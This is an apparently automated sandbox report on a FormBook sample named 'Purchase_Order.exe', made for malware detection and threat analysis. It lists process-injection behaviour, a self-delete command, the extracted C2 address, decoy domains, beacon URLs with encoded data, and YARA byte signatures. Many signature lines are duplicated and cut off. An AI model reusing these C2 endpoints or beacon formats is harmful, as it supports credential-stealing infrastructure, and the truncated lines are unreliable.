
ID: 433266
Sample Name:
Purchase_Order.exe
Cookbook: default.jbs
Time: 15:00:21
Date: 11/06/2021
Version: 32.0.0 Black Diamond
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Analysis Report Purchase_Order.exe

Overview

General Information

Sample 
Name:

Purchase_Order.exe

Analysis ID: 433266

MD5: 4aa8159742becd…

SHA1: 775aee28c33102…

SHA256: 65c6621762bb1b…

Tags: exe Formbook

Infos:

Most interesting Screenshot:

Detection

FormBookFormBook

Score: 100

Range: 0 - 100

Whitelisted: false

Confidence: 100%

Signatures

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configurationFound malware configuration

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through Malicious sample detected (through ……

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for submMulti AV Scanner detection for subm……

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.Snort IDS alert for network traffic (e.……

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networSystem process connects to networ……

Yara detected AntiVM3

Yara detected AntiVM3

Yara detected AntiVM3

Yara detected AntiVM3

Yara detected AntiVM3

Yara detected AntiVM3

Yara detected AntiVM3Yara detected AntiVM3

Yara detected FormBook

Yara detected FormBook

Yara detected FormBook

Yara detected FormBook

Yara detected FormBook

Yara detected FormBook

Yara detected FormBookYara detected FormBook

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware conC2 URLs / IPs found in malware con……

Initial sample is a PE file and has a 

Initial sample is a PE file and has a 

Initial sample is a PE file and has a 

Initial sample is a PE file and has a 

Initial sample is a PE file and has a 

Initial sample is a PE file and has a 

Initial sample is a PE file and has a Initial sample is a PE file and has a ……

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proceInjects a PE file into a foreign proce……

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into anMaps a DLL or memory area into an……

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in aModifies the context of a thread in a……

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process Queues an APC in another process ……

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing techSample uses process hollowing tech……

Sigma detected: Suspicious Proces

Sigma detected: Suspicious Proces

Sigma detected: Suspicious Proces

Sigma detected: Suspicious Proces

Sigma detected: Suspicious Proces

Sigma detected: Suspicious Proces

Sigma detected: Suspicious ProcesSigma detected: Suspicious Proces……

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and otherTries to detect sandboxes and other……

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization throughTries to detect virtualization through……

Writes to foreign memory regions

Writes to foreign memory regions

Writes to foreign memory regions

Writes to foreign memory regions

Writes to foreign memory regions

Writes to foreign memory regions

Writes to foreign memory regionsWrites to foreign memory regions

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detecAntivirus or Machine Learning detec……

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is beinChecks if the current process is bein……

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution Contains functionality for execution ……

Contains functionality to access load

Contains functionality to access load

Contains functionality to access load

Contains functionality to access load

Contains functionality to access load

Contains functionality to access load

Contains functionality to access loadContains functionality to access load……

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native fContains functionality to call native f……

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEBContains functionality to read the PEB

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)Contains long sleeps (>= 3 min)

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended moCreates a process in suspended mo……

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto functionDetected potential crypto function

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privilegesEnables debug privileges

Found a high number of Window / Us

Found a high number of Window / Us

Found a high number of Window / Us

Found a high number of Window / Us

Found a high number of Window / Us

Found a high number of Window / Us

Found a high number of Window / UsFound a high number of Window / Us……

Found inlined nop instructions (likely

Found inlined nop instructions (likely

Found inlined nop instructions (likely

Found inlined nop instructions (likely

Found inlined nop instructions (likely

Found inlined nop instructions (likely

Found inlined nop instructions (likelyFound inlined nop instructions (likely……

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / aFound potential string decryption / a……

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user HTTP GET or POST without a user ……

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with oIP address seen in connection with o……

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connectionInternet Provider seen in connection……

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder May sleep (evasive loops) to hinder ……

PE file contains strange resources

PE file contains strange resources

PE file contains strange resources

PE file contains strange resources

PE file contains strange resources

PE file contains strange resources

PE file contains strange resourcesPE file contains strange resources

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (namQueries the volume information (nam……

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proceSample execution stops while proce……

Sample file is different than original 

Sample file is different than original 

Sample file is different than original 

Sample file is different than original 

Sample file is different than original 

Sample file is different than original 

Sample file is different than original Sample file is different than original ……

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE filesUses 32bit PE files

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (Uses code obfuscation techniques (……

Yara signature match

Yara signature match

Yara signature match

Yara signature match

Yara signature match

Yara signature match

Yara signature matchYara signature match

Classification

Ransomware

Spreading

Phishing

Banker

Trojan / Bot

Adware

Spyware

Exploiter

Evader

Miner

clean

clean

clean

clean

clean

clean

clean

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

System is w10x64

Purchase_Order.exe (PID: 1528 cmdline: 'C:\Users\user\Desktop\Purchase_Order.exe'  MD5: 4AA8159742BECD97F9ECDDA33798B065)

RegSvcs.exe (PID: 3608 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe MD5: 2867A3817C9245F7CF518524DFD18F28)

explorer.exe (PID: 3292 cmdline:  MD5: AD5296B280E8F522A8A897C96BAB0E1D)

systray.exe (PID: 1752 cmdline: C:\Windows\SysWOW64\systray.exe MD5: 1373D481BE4C8A6E5F5030D2FB0A0C68)

cmd.exe (PID: 1200 cmdline: /c del 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe' MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 5552 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cleanup

Process Tree

Malware Configuration

Threatname: FormBook
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{

  "C2 list": [

    "www.culturalinterface.net/uqf5/"

  ],

  "decoy": [

    "paolograssino.com",

    "hammockcoastproperty.net",

    "blinbins.com",

    "financierapoorvenirsas.com",

    "mattruddle.com",

    "wighumanhair.com",

    "tvdajiang14.com",

    "theblackharvest.com",

    "tylerrucarean.com",

    "a-prime-india-demataccount.zone",

    "amboselisafarigallery.info",

    "toolbnbapp.com",

    "scientificindustrial.com",

    "trainup-wall.com",

    "pocosmo.com",

    "thebluepottingtable.com",

    "leavelogs.com",

    "verbalfreedom.com",

    "qa4i.com",

    "kiiikoo.com",

    "glossedbythebrat.com",

    "gorditasdemaiz.com",

    "healthystartswithin.com",

    "homeanddesignstudio.com",

    "skalewide.com",

    "bestdispatchtowitnesstoday.info",

    "cineconhisense.com",

    "mahibhardwaj.com",

    "imperatrizacam.com",

    "bezoekburen.com",

    "qbakan.com",

    "ansalapishagunrealestate.com",

    "crow94723.com",

    "kosova.one",

    "chhhju.com",

    "cominghomestead.com",

    "ingenious.care",

    "unclesamsoftware.com",

    "xn--cfe12fhb.com",

    "tradinglantern.com",

    "wwwthedrudgereport.com",

    "researchinnovations.net",

    "to-cs.com",

    "sandia.info",

    "tachibana-fukushima.com",

    "pzzfw.com",

    "flockuplabs.com",

    "stays.travel",

    "itertempora.net",

    "murrietayoga.com",

    "plus5tocrafting.com",

    "ovidrelprefilledsyringe.com",

    "prltoday.com",

    "l24consultants.net",

    "mexicobeachselfstorage.com",

    "bnvjufj.icu",

    "schulze.media",

    "thewinebarrel.info",

    "blesst.tech",

    "newtec.life",

    "acmarketinghacks.com",

    "elitevillaholidays.com",

    "pr-daily.com",

    "cgjanvier.com"

  ]

}

Source Rule Description Author Strings

00000000.00000002.259691374.0000000002B2
0000.00000004.00000001.sdmp

JoeSecurity_AntiVM_3 Yara detected 
AntiVM_3

Joe Security

00000000.00000002.259944230.0000000003AD
1000.00000004.00000001.sdmp

JoeSecurity_FormBook Yara detected 
FormBook

Joe Security

Yara Overview

Memory Dumps
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00000000.00000002.259944230.0000000003AD
1000.00000004.00000001.sdmp

Formbook_1 autogenerated rule 
brought to you by 
yara-signator

Felix Bilstein - 
yara-signator at 
cocacoding dot 
com

0xb44d0:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0xb486a:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0xdb8f0:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0xdbc8a:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0xc057d:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25
74 94
0xe799d:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25
74 94
0xc0069:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0xe7489:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0xc067f:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
0xe7a9f:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
0xc07f7:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0xe7c17:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0xb5282:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 0
2 83 E3 0F C1 EA 06
0xdc6a2:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02
83 E3 0F C1 EA 06
0xbf2e4:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0xe6704:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0xb5ffa:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0xdd41a:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0xc566f:$sequence_8: 3C 54 74 04 3C 74 75 F4
0xeca8f:$sequence_8: 3C 54 74 04 3C 74 75 F4
0xc6712:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE 
FF FF 6A 00

00000000.00000002.259944230.0000000003AD
1000.00000004.00000001.sdmp

Formbook detect Formbook in 
memory

JPCERT/CC 
Incident Response 
Group

0xc25a1:$sqlite3step: 68 34 1C 7B E1
0xc26b4:$sqlite3step: 68 34 1C 7B E1
0xe99c1:$sqlite3step: 68 34 1C 7B E1
0xe9ad4:$sqlite3step: 68 34 1C 7B E1
0xc25d0:$sqlite3text: 68 38 2A 90 C5
0xc26f5:$sqlite3text: 68 38 2A 90 C5
0xe99f0:$sqlite3text: 68 38 2A 90 C5
0xe9b15:$sqlite3text: 68 38 2A 90 C5
0xc25e3:$sqlite3blob: 68 53 D8 7F 8C
0xc270b:$sqlite3blob: 68 53 D8 7F 8C
0xe9a03:$sqlite3blob: 68 53 D8 7F 8C
0xe9b2b:$sqlite3blob: 68 53 D8 7F 8C

00000004.00000002.320741403.0000000001210000.00000
040.00000001.sdmp

JoeSecurity_FormBook Yara detected 
FormBook

Joe Security

Click to see the 21 entries

Source Rule Description Author Strings

Source Rule Description Author Strings

4.2.RegSvcs.exe.400000.0.unpack JoeSecurity_FormBook Yara detected 
FormBook

Joe Security

4.2.RegSvcs.exe.400000.0.unpack Formbook_1 autogenerated rule 
brought to you by 
yara-signator

Felix Bilstein - 
yara-signator at 
cocacoding dot 
com

0x77e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x7b82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x13895:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25
74 94
0x13381:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x13997:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
0x13b0f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x859a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 
83 E3 0F C1 EA 06
0x125fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0x9312:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x18987:$sequence_8: 3C 54 74 04 3C 74 75 F4
0x19a2a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE 
FF FF 6A 00

4.2.RegSvcs.exe.400000.0.unpack Formbook detect Formbook in 
memory

JPCERT/CC 
Incident Response 
Group

0x158b9:$sqlite3step: 68 34 1C 7B E1
0x159cc:$sqlite3step: 68 34 1C 7B E1
0x158e8:$sqlite3text: 68 38 2A 90 C5
0x15a0d:$sqlite3text: 68 38 2A 90 C5
0x158fb:$sqlite3blob: 68 53 D8 7F 8C
0x15a23:$sqlite3blob: 68 53 D8 7F 8C

4.0.RegSvcs.exe.400000.0.unpack JoeSecurity_FormBook Yara detected 
FormBook

Joe Security

4.0.RegSvcs.exe.400000.0.unpack Formbook_1 autogenerated rule 
brought to you by 
yara-signator

Felix Bilstein - 
yara-signator at 
cocacoding dot 
com

0x77e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x7b82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x13895:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25
74 94
0x13381:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x13997:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
0x13b0f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x859a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 
83 E3 0F C1 EA 06
0x125fc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0x9312:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x18987:$sequence_8: 3C 54 74 04 3C 74 75 F4
0x19a2a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE 
FF FF 6A 00

Unpacked PEs
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Sigma Overview

System Summary:

Sigma detected: Suspicious Process Start Without DLL

Sigma detected: Possible Applocker Bypass

Signature Overview

Click to jump to signature section

AV Detection:

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected FormBook

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

C2 URLs / IPs found in malware configuration

E-Banking Fraud:

Yara detected FormBook

System Summary:

Malicious sample detected (through community Yara rule)

Initial sample is a PE file and has a suspicious name

Malware Analysis System Evasion:

Yara detected AntiVM3

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect virtualization through RDTSC time measurements

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Injects a PE file into a foreign processes

Maps a DLL or memory area into another process

Modifies the context of a thread in another process (thread injection)

Queues an APC in another process (thread injection)

Sample uses process hollowing technique

Writes to foreign memory regions

Click to see the 7 entries

Source Rule Description Author Strings
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Stealing of Sensitive Information:

Yara detected FormBook

Remote Access Functionality:

Yara detected FormBook

Mitre Att&ck Matrix

Initial
Access Execution Persistence

Privilege
Escalation Defense Evasion

Credential
Access Discovery

Lateral
Movement Collection Exfiltration

Command
and Control

Network
Effects

Valid
Accounts

Shared
Modules 1

Path
Interception

Process
Injection 7 1 2

Masquerading 1 OS
Credential
Dumping

Security Software
Discovery 2 2 1

Remote
Services

Archive
Collected
Data 1

Exfiltration
Over Other
Network
Medium

Encrypted
Channel 1

Eavesdrop on
Insecure
Network
Communication

Default
Accounts

Scheduled
Task/Job

Boot or
Logon
Initialization
Scripts

Boot or Logon
Initialization
Scripts

Disable or Modify
Tools 1

LSASS
Memory

Process Discovery 2 Remote
Desktop
Protocol

Data from
Removable
Media

Exfiltration
Over
Bluetooth

Ingress Tool
Transfer 3

Exploit SS7 to
Redirect Phone
Calls/SMS

Domain
Accounts

At (Linux) Logon Script
(Windows)

Logon Script
(Windows)

Virtualization/Sandbox
Evasion 3 1

Security
Account
Manager

Virtualization/Sandbox
Evasion 3 1

SMB/Windows
Admin Shares

Data from
Network
Shared
Drive

Automated
Exfiltration

Non-
Application
Layer
Protocol 3

Exploit SS7 to
Track Device
Location

Local
Accounts

At
(Windows)

Logon Script
(Mac)

Logon Script
(Mac)

Process
Injection 7 1 2

NTDS Application Window
Discovery 1

Distributed
Component
Object Model

Input
Capture

Scheduled
Transfer

Application
Layer
Protocol 1 3

SIM Card
Swap

Cloud
Accounts

Cron Network
Logon Script

Network Logon
Script

Deobfuscate/Decode
Files or Information 1

LSA
Secrets

Remote System
Discovery 1

SSH Keylogging Data
Transfer
Size Limits

Fallback
Channels

Manipulate
Device
Communication

Replication
Through
Removable
Media

Launchd Rc.common Rc.common Obfuscated Files or
Information 4

Cached
Domain
Credentials

System Information
Discovery 1 1 2

VNC GUI Input
Capture

Exfiltration
Over C2
Channel

Multiband
Communication

Jamming or
Denial of
Service

External
Remote
Services

Scheduled
Task

Startup
Items

Startup Items Software Packing 2 DCSync Network Sniffing Windows
Remote
Management

Web Portal
Capture

Exfiltration
Over
Alternative
Protocol

Commonly
Used Port

Rogue Wi-Fi
Access Points

Behavior Graph
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Behavior Graph

ID: 433266

Sample: Purchase_Order.exe

Startdate: 11/06/2021

Architecture: WINDOWS

Score: 100

www.homeanddesignstudio.com td-balancer-euw2-6-109.wixdns.net 4 other IPs or domains

Snort IDS alert for
network traffic (e.g.

based on Emerging Threat
rules)

Found malware configuration
Malicious sample detected
(through community Yara

rule)
7 other signatures

Purchase_Order.exe

3

        started       

C:\Users\user\...\Purchase_Order.exe.log, ASCII

dropped

Writes to foreign memory
regions

Injects a PE file into
a foreign processes

RegSvcs.exe

        started       

Modifies the context
of a thread in another

process (thread injection)

Maps a DLL or memory
area into another process

Sample uses process
hollowing technique

2 other signatures

explorer.exe

injected

www.cgjanvier.com

156.241.53.127, 49737, 80

XIAOZHIYUN1-AS-APICIDCNETWORKUS

Seychelles

mexicobeachselfstorage.com

162.241.253.69, 49730, 80

UNIFIEDLAYER-AS-1US

United States

14 other IPs or domains

System process connects
to network (likely due
to code injection or

exploit)

systray.exe

        started       

Modifies the context
of a thread in another

process (thread injection)

Maps a DLL or memory
area into another process

Tries to detect virtualization
through RDTSC time measurements

cmd.exe

1

        started       

conhost.exe

        started       

Legend:

Process

Signature

Created File

DNS/IP Info

Is Dropped

Is Windows Process

Number of created Registry Values

Number of created Files

Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language

Is malicious

Internet

Hide Legend

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Screenshots
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Source Detection Scanner Label Link

Purchase_Order.exe 21% Virustotal Browse

Purchase_Order.exe 15% ReversingLabs Win32.Trojan.Wacatac

No Antivirus matches

Source Detection Scanner Label Link Download

4.2.RegSvcs.exe.400000.0.unpack 100% Avira TR/Crypt.ZPACK.Gen Download File

4.0.RegSvcs.exe.400000.0.unpack 100% Avira TR/Crypt.ZPACK.Gen Download File

Source Detection Scanner Label Link

mexicobeachselfstorage.com 0% Virustotal Browse

td-balancer-euw2-6-109.wixdns.net 0% Virustotal Browse

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs
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https://www.virustotal.com/gui/file/65c6621762bb1bb1589a4a58d4ab2d3fa7c02e581b217b86ed2ff51227d7565b/detection/f-65c6621762bb1bb1589a4a58d4ab2d3fa7c02e581b217b86ed2ff51227d7565b-1623411167
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Source Detection Scanner Label Link

schemas.mi 0% URL Reputation safe

schemas.mi 0% URL Reputation safe

schemas.mi 0% URL Reputation safe

www.founder.com.cn/cn/bThe 0% URL Reputation safe

www.founder.com.cn/cn/bThe 0% URL Reputation safe

www.founder.com.cn/cn/bThe 0% URL Reputation safe

www.carterandcone.comen 0% URL Reputation safe

www.carterandcone.comen 0% URL Reputation safe

www.carterandcone.comen 0% URL Reputation safe

www.tiro.com 0% URL Reputation safe

www.tiro.com 0% URL Reputation safe

www.tiro.com 0% URL Reputation safe

www.goodfont.co.kr 0% URL Reputation safe

www.goodfont.co.kr 0% URL Reputation safe

www.goodfont.co.kr 0% URL Reputation safe

www.carterandcone.com 0% URL Reputation safe

www.carterandcone.com 0% URL Reputation safe

www.carterandcone.com 0% URL Reputation safe

www.tylerrucarean.com/uqf5/?
7nBTylox=OWFfPnC7AN8R77spBBTPEjKTeS6t/Yq1T4r8C76EKqDZAgRBJ/M7pX2IcLDFGki/UVfODSO
MWA==&x2J86x=b0DT

0% Avira URL Cloud safe

www.flockuplabs.com/uqf5/?
7nBTylox=kpO7L1Lkp8iY+ON3mW6Oq8CK0aWMRalGagQzJa0PwjziroypQJ68geE/Aoh82zgIKZtO8rNX
LQ==&x2J86x=b0DT

0% Avira URL Cloud safe

www.sajatypeworks.com 0% URL Reputation safe

www.sajatypeworks.com 0% URL Reputation safe

www.sajatypeworks.com 0% URL Reputation safe

www.paolograssino.com/uqf5/?
7nBTylox=bDjqt1XeIDnHqlCDx4UVtMOGyZAgv2iIcL7KLwBfVGeKSjMBDNU7E4Z2+8mD2QoqovVkCTq
MJw==&x2J86x=b0DT

0% Avira URL Cloud safe

www.typography.netD 0% URL Reputation safe

www.typography.netD 0% URL Reputation safe

www.typography.netD 0% URL Reputation safe

www.prltoday.com/uqf5/?
7nBTylox=F/Xh9v+g7Cdwl5upkcpMZ8e4b+3WpLzzeVKIM3R3duzbf3evtWksiEg580T900Haqnq5nepxFw
==&x2J86x=b0DT

0% Avira URL Cloud safe

www.carterandcone.commd 0% Avira URL Cloud safe

www.founder.com.cn/cn/cThe 0% URL Reputation safe

www.founder.com.cn/cn/cThe 0% URL Reputation safe

www.founder.com.cn/cn/cThe 0% URL Reputation safe

www.mexicobeachselfstorage.com/uqf5/?
7nBTylox=Da4K3sj86vB0DiXWDS0M3B9qaJwAtTAx24xw0Tll3v3x/H7Mq6Ed11VjNseOa8Aw4v8GgidMY
Q==&x2J86x=b0DT

0% Avira URL Cloud safe

www.galapagosdesign.com/staff/dennis.htm 0% URL Reputation safe

www.galapagosdesign.com/staff/dennis.htm 0% URL Reputation safe

www.galapagosdesign.com/staff/dennis.htm 0% URL Reputation safe

fontfabrik.com 0% URL Reputation safe

fontfabrik.com 0% URL Reputation safe

fontfabrik.com 0% URL Reputation safe

www.trainup-wall.com/uqf5/?
7nBTylox=kfF6JYR62xx/HO09iSVcnhFTUCCMKaRIkXBWym1Qtkj7XLCdUz5OHH2iCIaFDs/mVibljY8vw
A==&x2J86x=b0DT

0% Avira URL Cloud safe

www.galapagosdesign.com/DPlease 0% URL Reputation safe

www.galapagosdesign.com/DPlease 0% URL Reputation safe

www.galapagosdesign.com/DPlease 0% URL Reputation safe

www.jiyu-kobo.co.jp/jp/N 0% Avira URL Cloud safe

www.jiyu-kobo.co.jp/jp/Q 0% Avira URL Cloud safe

www.sandoll.co.kr 0% URL Reputation safe

www.sandoll.co.kr 0% URL Reputation safe

www.sandoll.co.kr 0% URL Reputation safe

www.cgjanvier.com/uqf5/?
7nBTylox=G6aWL4dGCeTaDQvTN0iTmiC4rQ5Mm02kgONc9W0Ihpzmf26Z6y5bJWrOsZ7s6rQ8mSLn4I
OSJg==&x2J86x=b0DT

0% Avira URL Cloud safe

www.urwpp.deDPlease 0% URL Reputation safe

www.urwpp.deDPlease 0% URL Reputation safe

www.urwpp.deDPlease 0% URL Reputation safe

www.zhongyicts.com.cn 0% URL Reputation safe

www.zhongyicts.com.cn 0% URL Reputation safe
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www.zhongyicts.com.cn 0% URL Reputation safe

www.culturalinterface.net/uqf5/?
7nBTylox=0mO7J7bxUTMGF+cl/VKrKxzRBdjnePXE0BEJzt+odUfuolHzSnSh7sdQNpsCsCcZdtFb7j3ZK
A==&x2J86x=b0DT

0% Avira URL Cloud safe

www.sakkal.com 0% URL Reputation safe

www.sakkal.com 0% URL Reputation safe

www.sakkal.com 0% URL Reputation safe

www.carterandcone.coma 0% URL Reputation safe

www.carterandcone.coma 0% URL Reputation safe

www.carterandcone.coma 0% URL Reputation safe

www.a-prime-india-demataccount.zone/uqf5/?
7nBTylox=RQXRa0j10XdpS+WphiMG79Lf9dki4UzLVajXOJjWNMbn24QJDQJAUPqvADWkiraA7rP5UEZ
eUQ==&x2J86x=b0DT

0% Avira URL Cloud safe

www.galapagosdesign.com/ 0% URL Reputation safe

www.galapagosdesign.com/ 0% URL Reputation safe

www.galapagosdesign.com/ 0% URL Reputation safe

www.jiyu-kobo.co.jp/X 0% URL Reputation safe

www.jiyu-kobo.co.jp/X 0% URL Reputation safe

www.jiyu-kobo.co.jp/X 0% URL Reputation safe

www.gorditasdemaiz.com/uqf5/?
7nBTylox=RIGbPleGLKfxQTAe4w4l83Ie2Cv1rNcMEGxhR3mrD7G7p1l+kx0Gi9Gk7nXoQ0ETWUCd/ihS
FA==&x2J86x=b0DT

0% Avira URL Cloud safe

www.toolbnbapp.com/uqf5/?
7nBTylox=pmtBAvifUG/ctnoihxxVo+fAjsCiy+wOZZJ542i91rLFt0/MLgCG4nudrW9V9JXQ/3W4T2ttkA==&
x2J86x=b0DT

0% Avira URL Cloud safe

www.agfamonotype. 0% URL Reputation safe

www.agfamonotype. 0% URL Reputation safe

www.agfamonotype. 0% URL Reputation safe

www.jiyu-kobo.co.jp/Q 0% URL Reputation safe

www.jiyu-kobo.co.jp/Q 0% URL Reputation safe

www.jiyu-kobo.co.jp/Q 0% URL Reputation safe

www.jiyu-kobo.co.jp/N 0% URL Reputation safe

www.jiyu-kobo.co.jp/N 0% URL Reputation safe

www.jiyu-kobo.co.jp/N 0% URL Reputation safe

www.jiyu-kobo.co.jp/oi 0% Avira URL Cloud safe

schemas.micr 0% URL Reputation safe

schemas.micr 0% URL Reputation safe

schemas.micr 0% URL Reputation safe

www.jiyu-kobo.co.jp/jp/ 0% URL Reputation safe

www.jiyu-kobo.co.jp/jp/ 0% URL Reputation safe

www.jiyu-kobo.co.jp/jp/ 0% URL Reputation safe

en.w 0% URL Reputation safe

en.w 0% URL Reputation safe

en.w 0% URL Reputation safe

www.jiyu-kobo.co.jp/= 0% URL Reputation safe

www.jiyu-kobo.co.jp/= 0% URL Reputation safe

www.jiyu-kobo.co.jp/= 0% URL Reputation safe

www.culturalinterface.net/uqf5/ 0% Avira URL Cloud safe

